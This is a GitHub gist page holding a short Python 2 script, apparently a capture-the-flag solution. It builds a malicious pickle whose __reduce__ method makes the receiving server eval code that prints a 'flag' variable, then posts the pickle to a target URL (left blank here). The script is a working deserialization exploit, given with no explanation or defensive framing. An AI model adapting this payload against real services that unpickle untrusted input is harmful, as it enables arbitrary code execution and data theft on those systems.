Skip to content

Instantly share code, notes, and snippets.

Created December 30, 2015 04:10
What would you like to do?
#!/usr/bin/env python
# coding=utf8
import urllib2
import pickle
class Payload(object):
def __reduce__(self):
comm = "sys.stderr.write(__import__('__main__').flag.flag)"
return (eval, (comm, ))
data = pickle.dumps(Payload())
print data
print urllib2.urlopen('', data=data).read()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment